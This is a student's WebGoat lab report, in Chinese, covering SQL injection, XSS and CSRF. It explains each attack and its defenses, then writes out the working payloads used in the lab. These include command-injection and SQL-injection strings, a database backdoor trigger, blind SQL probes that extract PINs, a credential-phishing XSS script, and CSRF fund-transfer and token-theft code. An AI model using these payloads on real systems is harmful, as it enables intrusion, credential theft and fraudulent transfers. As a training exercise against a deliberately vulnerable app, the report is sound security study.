2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础
2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础
1 基础问题回答和实验内容
1.1基础问题回答
(1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
- 对用户的输入进行校验。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示。
- 采取辅助软件或网站平台来检测sql注入。
(2)XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
- 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
(3)CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
- “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
1.2 实验内容
Webgoat安装
Injection Flaws攻击
- Command Injection
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- Database Backdoors
- Blind Numeric SQL Injection
- Blind String SQL Injection
XSS攻击——Cross-Site Scripting
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
2 实验步骤
2.1 Webgoat安装
输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,在实验过程中不要关闭。在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面输入用户名密码
guest
登录注:由于我登陆之后没有显示左侧的内容,经过看别人的博客得知,因为kali里安装的JDK版本太高原因导致的。将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8
官网上了Linux 64 版JDK1.8下载不下来,在这里上传了一个可以使用的1.8版JDK 链接 提取码:uznk
安装成功之后登录成功。
2.2 Injection Flaws攻击
2.2.1 Command Injection
- 选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
- 点击 view,看到网络端口使用情况和 IP 地址,攻击成功
2.2.2 Numeric SQL Injection
- 选择 Injection Flaws -> Numeric SQL Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
- 点击 Go,可以看到攻击成功
2.2.3 Log Spoofing
- 选择 Injection Flaws -> Log Spoofing
- 在User Name中输入
csb%0d%0aLogin Succeeded for username: admin
利用0D%(回车)和%0A(换行)让其在日志中显示两行 - 输入任意密码后点击 Login,成功将用户名追加到日志文件中。
2.2.4 String SQL Injection
- 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
- 以用户Neville登录,输入密码
Smith' or '1' = '1
- 攻击成功,得到所有人员列表
2.2.5 Database Backdoors
- 选择 Injection Flaws -> Database Backdoors
- 输入
101
,得到该用户的信息
- 输入注入语句
101; update employee set salary=10000
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
设置触发器
2.2.6 Blind Numeric SQL Injection
- 服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。 - 输入
101 AND 1=1
页面返回帐号有效
输入
101 AND 1=2
第二个条件不成立,页面返回帐号无效输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面返回帐号无效,说明PIN<=10000
- 进过多次测试,输入
2364
为正确PIN值
2.2.7 Blind String SQL Injection
- 这次查询的字段是一个字符串而不是数值
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
取得 pin 字段数值的第一个字母,判断其是否比字 母“H”小 - 经过多次测试和页面的返回数据,最终判断出PIN字段的值为
Jill
2.3 XSS攻击——Cross-Site Scripting
2.3.1Phishing with XSS
使用XSS和HTML写一个简单的带form的网站,要求填写用户名和密码。
编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。
2.3.2 Stored XSS Attacks
- 常见于论坛等留言,用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
- 在XSS - > Stored XSS Attacks页面的title中输入任意字符a,留言板中输入
<script>alert("You've been ttacked!!!");</script>
- 点击下面的a字符,攻击成功。
2.3.3 Reflected XSS Attacks
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件,引诱用户点击,实施攻击。
- 在XSS - > Reflected XSS Attacks页面中输入
<script>alert("You've been attacked!!!");</script>
点击 purse ,页面显示攻击成功。
2.4 CSRF攻击
2.4.1 Cross Site Request Forgery(CSRF)
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 在 XSS - > Cross Site Request Forgery(CSRF)
页面,查看右下方 Parameters 中的 src 和 menu 值,分别为320和900。 - 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=320&menu=900&transferFunds=5000" width="1" height="1" />
点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) - 输入任意Title,提交后在Message List中生成以Title命名的链接。点击链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.4.2 CSRF Prompt By-Pass
在 XSS - > CSRF Prompt By-Pass 页面,查看右下方的Parameters中的src和menu值,我的分别为279和900。
输入任意的Title,在message中输入
<iframe src="attack?Screen=279&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=279&menu=900&transferFunds=CONFIRM"> </iframe>
点击 Submit 生成以Title命名的链接,点击链接,攻击成功
2.4.3 CSRF Token By-Pass
向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金。
在XSS - >CSRF Token By-Pass
页面查看网页http://local host:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main
生成的资金转账页面的表单内容。结合token的值构造伪造的URL,附加转账参数4000,通过frame->forme的路径可以读取并保存CSRFToken参数。
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" >
</iframe>
<iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" >
</iframe>
输入任意的Title,在message中输入上面的代码,点击 Submit 生成以Title命名的链接,点击链接,攻击成功。
实验总结与体会
这个实验过程还是很容易的,但是要理解还是需要时间的。这是最后一个实验了,还是很开心的。在实验过程中不仅体会了攻击技术的强大,也对网络安全有了新的认识。
2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- sed 查询特定内容
查询命令对照表 打印/etc/passwd中第10行的内容 sed -n '10p' /etc/passwd 打印/etc/passwd中第8行开始,到第15行结束的内容 sed -n '8,15p' ...
- Java中异常关键字throw和throws使用方式的理解
Java中应用程序在非正常的情况下停止运行主要包含两种方式: Error 和 Exception ,像我们熟知的 OutOfMemoryError 和 IndexOutOfBoundsExceptio ...
- 剖析gcc -v输出
分析gcc -v的详细信息的意义 首先我们需要清楚一点,我们并不能完全弄清楚gcc -v的所有信息,因为毕竟我们并不是GCC编译器集合的实现者,对于这些信息,他们才是最清楚的.由于我们不能将所有的信息 ...
- WebApi增加Oauth2认证
前期搭建可看这篇博文:https://www.cnblogs.com/lnice/p/6857203.html,此博文是在本篇博文实践才产生的,在实践中,也产生了几个问题,希望能够共同交流,一起进步. ...
- SSH安全优化
更改远程连接登陆的端口 禁止root管理员直接登陆 密码认证方式改为密钥认证 重要服务不使用公网IP地址 使用防火墙来限制来源IP地址 Port 666 变更SSH服务远 ...
- Java面试题及答案解析
面向对象编程(OOP) Java是一个支持并发.基于类和面向对象的计算机编程语言.下面列出了面向对象软件开发的优点: 代码开发模块化,更易维护和修改. 代码复用. 增强代码的可靠性和灵活性. 增加代码 ...
- YUSS Round 1
YUSS Round 1 A. 国庆快乐 签到题. #include<bits/stdc++.h> using namespace std; int main() { printf(&qu ...
- Class文件中的常量
常量池计数器 常量池是class文件中非常重要的结构,它描述着整个class文件的字面量信息. 常量池是由一组constant_pool结构体数组组成的,而数组的大小则由常量池计数器指定. 常量池计数 ...
- windows程序意外关闭子订重启脚本
window程序意外关闭自动重启脚本实现 @echo off :1 tasklist|find /i "xxxx"||start yyyy ping/n 11 127.1> ...
- idea中tomcat的On Upate Action 与 On Frame Deactivation配置
On Upate Action 与 On Frame Deactivation 这两个选项的设置,依赖于项目的部署方式 是war包 还是 exploded , 只讲exploded模式下的设置,因为 ...